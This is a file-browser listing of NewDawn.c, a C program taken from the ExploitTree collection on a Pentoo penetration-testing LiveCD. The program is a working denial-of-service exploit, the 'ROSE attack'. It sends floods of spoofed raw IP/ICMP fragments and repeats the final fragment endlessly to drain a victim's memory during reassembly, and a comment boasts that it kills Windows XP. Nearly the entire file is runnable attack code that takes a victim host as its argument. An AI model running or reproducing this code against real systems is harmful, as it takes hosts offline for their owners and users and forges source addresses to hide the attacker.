home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / NewDawn.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  222 lines
  1. /***
  2.     ROSE attack (variation 2) (chuck (at) lemure.net)
  3.     
  4.     Discovered by:
  5.     gandalf (at) digital.net
  6.     
  7.     code modified from large IGMP attack by:
  8.         Kox by Coolio (coolio (at) k-r4d.com)
  9.  
  10.     Sends out small IP fragments totalling up to a large
  11.     ICMP packet.  Then repeatedly sends last IP Fragment forcing
  12.     reassembly code to traverse to last IP fragment in order to
  13.     do a free() followed by a malloc().  Or so it seems.
  14.  
  15.     Reportedly works for TCP / UDP as well, since this is
  16.     a IP layer attack.
  17.  
  18.  
  19. ***/
  20.  
  21. /* just a thousand kills win XP */
  22.  
  23. #define NUM_PACKETS 100
  24.  
  25.  
  26. #include <stdio.h>
  27. #include <unistd.h>
  28. #include <stdlib.h>
  29. #include <netdb.h>
  30. #include <string.h>
  31. #include <errno.h>
  32. #include <pwd.h>
  33. #include <time.h>
  34. #include <sys/types.h>
  35. #include <sys/socket.h>
  36. #include <sys/utsname.h>
  37. #include <netinet/in.h>
  38. #include <netinet/ip.h>
  39. #include <netinet/ip_icmp.h>
  40.  
  41. #include <netinet/ip_icmp.h>
  42.  
  43. void usage(char *arg)
  44. {
  45.         printf("Rose attack\n");
  46.         printf("Usage: %s <victim> [source]\n", arg);
  47.     printf("If source not specified, will send out from random ip's\n");
  48.         exit(1);
  49. }
  50.  
  51.  
  52. unsigned int randip()
  53. {
  54.         struct hostent *he;
  55.         struct sockaddr_in sin;
  56.         char *buf = (char *)calloc(1, sizeof(char) * 16);
  57.     
  58.         sprintf(buf, "%d.%d.%d.%d",
  59.                 (random()%191)+23,
  60.                 (random()%253)+1,
  61.                 (random()%253)+1,
  62.                 (random()%253)+1); 
  63.     
  64.         return inet_addr(buf);
  65.         
  66. }
  67.  
  68. unsigned short in_cksum(unsigned short *buh, int len)
  69. {
  70.         register long sum = 0;
  71.         unsigned short oddbyte;
  72.         register unsigned short answer;
  73.  
  74.         while(len > 1) {
  75.                 sum += *buh++;
  76.                 len -= 2;
  77.         }
  78.  
  79.         if(len == 1) {
  80.                 oddbyte = 0;
  81.                 *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
  82.                 sum += oddbyte;
  83.         }
  84.  
  85.         sum = (sum >> 16) + (sum & 0xFFFF);
  86.         sum += (sum >> 16);
  87.         answer = ~sum;
  88.         return answer;
  89. }
  90.  
  91. int fire_away(struct sockaddr_in *victim, unsigned long src)
  92. {
  93.         int SMALLICMP = 1;
  94.         unsigned char *pkt;
  95.         struct iphdr *ip;
  96.         struct igmphdr *igmp;
  97.     struct icmphdr *icmp_pkt;
  98.         struct utsname *un;
  99.         struct passwd *p;
  100.     int idList[NUM_PACKETS];
  101.     unsigned long j;
  102.         int i, s;
  103.     int id = (random() % 40000) + 500;
  104.     for (i=0;i<NUM_PACKETS;i++)
  105.       idList[i]=(random() % 40000) + 500;
  106.  
  107.         
  108.  
  109.         pkt = (unsigned char *)calloc(1, SMALLICMP 
  110.                       + sizeof(struct iphdr) +
  111.                       sizeof(struct icmphdr));
  112.         ip = (struct iphdr *)pkt;
  113.      icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct iphdr));
  114.         ip->version = 4;
  115.         ip->ihl = (sizeof *ip) / 4;
  116.         ip->ttl = 255;
  117.         ip->tot_len = htons(SMALLICMP);
  118.         ip->protocol = 1;
  119.         ip->id = htons(id);
  120.         ip->frag_off = htons(IP_MF);
  121.         ip->saddr = src;
  122.         ip->daddr = victim->sin_addr.s_addr;
  123.         ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
  124.  
  125.     
  126.     icmp_pkt->type = ICMP_ECHO;
  127.     icmp_pkt->code = 0;
  128.     icmp_pkt->checksum = 1000;
  129.     icmp_pkt->un.echo.id = random() % 255;
  130.     icmp_pkt->un.echo.sequence = random() % 255;
  131.     
  132.         for(i = sizeof(struct iphdr) + sizeof(struct icmphdr) + 1;
  133.             i < SMALLICMP; i++){
  134.       pkt[i] = random() % 255;
  135.       
  136.     }
  137.     
  138.         if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  139.                 perror("error: socket()");
  140.                 return 1;
  141.         }
  142.     
  143.     printf(" Sending out series of small fragments\r\n");
  144.     
  145.     for(i=0;i<NUM_PACKETS;i++){
  146.       ip->id = htons(idList[i]);
  147.       for (j=0; j<8170; j += SMALLICMP + 1){        
  148.         ip->frag_off = htons(j | IP_MF);
  149.         if(sendto(s, pkt,
  150.               SMALLICMP + sizeof(struct iphdr), 
  151.               0, (struct sockaddr *)victim,
  152.               sizeof(struct sockaddr_in)) == -1) { 
  153.           perror("error: sendto()");
  154.           return 1;
  155.         }
  156.       }
  157.     }
  158.  
  159.     printf(" Sending out tailing fragments\r\n");
  160.     /* big frag at end... */
  161.     /* sending a large amount of the end fragments over and
  162.        over.  This is definitely overkill, but seems to work */
  163.     for (j=0;j<9999*NUM_PACKETS;j++){
  164.       for(i=0;i<NUM_PACKETS;i++){
  165.         ip->id=htons(idList[i]);
  166.         ip->frag_off = htons(8190|IP_MF);
  167.         //ip->frag_off = htons(8100 | IP_MF);
  168.         sendto(s, pkt, sizeof(struct iphdr) + SMALLICMP, 
  169.            0, (struct sockaddr *)victim, 
  170.            sizeof(struct sockaddr_in));
  171.         /* if you do sleep, CPU usage goes way down.  But memory usage
  172.            still creeps upward */
  173.         //usleep(100); //sleep after every trailing packet
  174.       }
  175.       usleep(100); //sleep after every series of NUM_PACKETS
  176.     }
  177.         free(pkt);
  178.         close(s);
  179.         return 0;
  180. }
  181.  
  182. int main(int argc, char *argv[])
  183. {
  184.         struct sockaddr_in victim;
  185.         struct hostent *he;
  186.     unsigned long source;
  187.         int i;
  188.  
  189.         srandom(time(NULL));
  190.  
  191.         if(argc < 2)
  192.                 usage(argv[0]);
  193.  
  194.         if((he = gethostbyname(argv[1])) == NULL) {
  195.                 herror(argv[1]);
  196.                 exit(1);
  197.         }
  198.     
  199.     if (argc > 2){
  200.       source = inet_addr(argv[2]);
  201.     }
  202.     else {
  203.       source = randip();
  204.     }
  205.     
  206.         memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
  207.         victim.sin_port = htons(0);
  208.         victim.sin_family = PF_INET;
  209.  
  210.         printf("Sending ICMP fragments:  \r\n");
  211.         fflush(stdout);
  212.     fire_away(&victim, source);
  213.     if (argc < 3){
  214.       source = randip();
  215.     }
  216.     
  217.     fflush(stdout);
  218.     printf("\nDONE\n");
  219.         fflush(stdout);
  220. }
  221.  
  222.